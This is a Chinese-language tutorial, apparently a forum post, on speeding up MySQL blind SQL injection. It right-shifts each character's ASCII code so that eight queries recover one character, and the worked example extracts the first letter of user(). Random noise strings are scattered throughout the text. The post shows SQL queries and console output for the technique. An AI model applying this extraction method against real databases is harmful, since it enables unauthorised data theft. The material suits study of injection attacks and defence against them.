关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
6 `9 p/ u2 U; O- v$ ?4 w
( y4 g* `" O7 E4 ^: B7 W

* k, a  a9 E- O) F下面将以查询mysql数据库当中user()的第一位为例:

5 @; i' r1 I8 [' n7 @
* G% u  i2 k  X
ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
0 L: h2 V: h- z) G
/ W* R4 T' L7 Z8 F

: e+ d7 l; d& a/ K首先执行如下sql语句:
* S5 h% G# ?3 h( A
  z4 Z. S$ n% ~1 u7 _: Q% V

mysql> select (ascii((substr(user(),1,1))) >> 7)=0;
, t6 I: N" k4 I- n

! F5 d) U# j4 Q8 V! f3 s
0 R- I0 K/ k9 l# x" y' A我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的
* j* w1 D) {  I/ Q
% Y: d* b: W9 e$ S" J! w. _0 w
& }% u8 C# K' e2 f+ N/ x
第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
2 l1 l4 d0 B* L

1 V2 h& O  C* d' }
如果运算结果为1,说明第一位为0,不为1
$ q0 p: d! d' x/ ~/ i0 S% D6 w: F; b
3 C; M. @& g/ h6 W5 s- Y1 w. [  f

+————————————–+

| (ascii((substr(user(),1,1))) >> 7)=0 |

+————————————–+

| 1 |
. f. Y6 y+ m& |# u
+————————————–+

9 d" @* E4 o. b9 k. v1 row in set (0.00 sec)

这样我们就确定这个8bit的ascii的第一位为0
( B' x+ B. \  b' n
# F# \' L& o1 z3 t) |# v2 f# O# Z
& p% U% k0 r  c: w1 Q0 U
第二次我们来做6次右偏移来确定前两位



) x/ W/ ~# l2 l# n# m! v前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
! X+ G  k3 I3 s' d; J
+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
& G+ w+ w* u, i2 e3 w) n( B; S  Y
6 e& S+ j! r4 z* e& t+————————————–+
$ S5 Q: V3 \1 T1 n2 m
, s% R; Q! u# H9 K| 0 |
0 z2 Y" m. w% ^" k+ b, ]
+————————————–+

1 row in set (0.00 sec)
8 X  d% o, q; }4 b+ c

. M2 ]4 T% |& }, E  Z+ y& A
7 N7 c# P, D. _/ N' @结果为0,即第二位为1

3 [. u* p* Z9 f1 j, h; f
* k! ?4 e. b$ G
9 u2 e7 d( |) |' n% E开始猜测前三位为010或011



让我们看看010和011的ascii码是多少
- J) b4 x9 {# {8 K5 d9 b4 A

) i0 G. }. a' I
分别查询select b’011′ select b’010′

  q. r0 A4 q7 u4 ?1 W7 ^0 u2 Y
0 O$ ^4 [/ u. E, T8 y4 M
获得结果 010 = 2 011 = 3

9 d: y" E/ @2 F+ z

执行如下sql:
7 O# M5 [, U3 V0 d6 {
) c$ v0 Q+ G- N: C8 ^1 g& L' \

0 s$ q1 ^( R, b" I9 o0 A0 E5 x3 Smysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
0 A% ^9 i( `) E
| 0 |
, R4 A5 O* O2 d. P2 n
. S) F# u$ a9 S& ?' w1 C2 r+————————————–+
5 V1 u" T3 S( K5 L9 T' T1 W
即前三位不为010,而是011
) C2 S6 R9 ]4 C- L0 I7 h/ U

8 n% @- p- u$ x6 ^# q8 Y
直到获得最后一位
& }: d& q: ~9 }  \  E
. @* ^. U8 J9 l, N
7 M4 `& G* [' T" c- b% n  u( T  k3 }& v
+ z/ V# S$ H# [% E$ z/ ~" j最终结果为:01110010
2 z/ K8 H8 Y. j+ O
/ v2 r- v5 Q3 Y& B* Q$ v
) s* Q" [: q8 R, n6 l* d% l, X
转换一下:
, W( i1 Y8 B- u1 v  C' Z7 k' H


, q; k% Z, ]& r5 o7 j- E! dselect b’01110010′


: @6 V" V# U3 R/ [
查询结果


7 K+ |( G0 |& d
/ P' o$ q+ y) x4 f3 F6 `- K+————-+

' L# E9 R2 ~  V| b’01110010′ |

/ _$ n/ w. i! o/ f: y! t& O+————-+

2 f3 r+ @' _  N+ g8 i. s| r |

+————-+

1 row in set (0.00 sec)
7 O' u3 K+ K9 U, i; w; K6 J0 h  T

1 K  n+ t. C" p/ @
这样我们就获得了user()的第一位.其它位依此类推
6 W1 C2 \) U9 g4 B" F$ i
# W: ~9 O6 w1 q' ?' v! @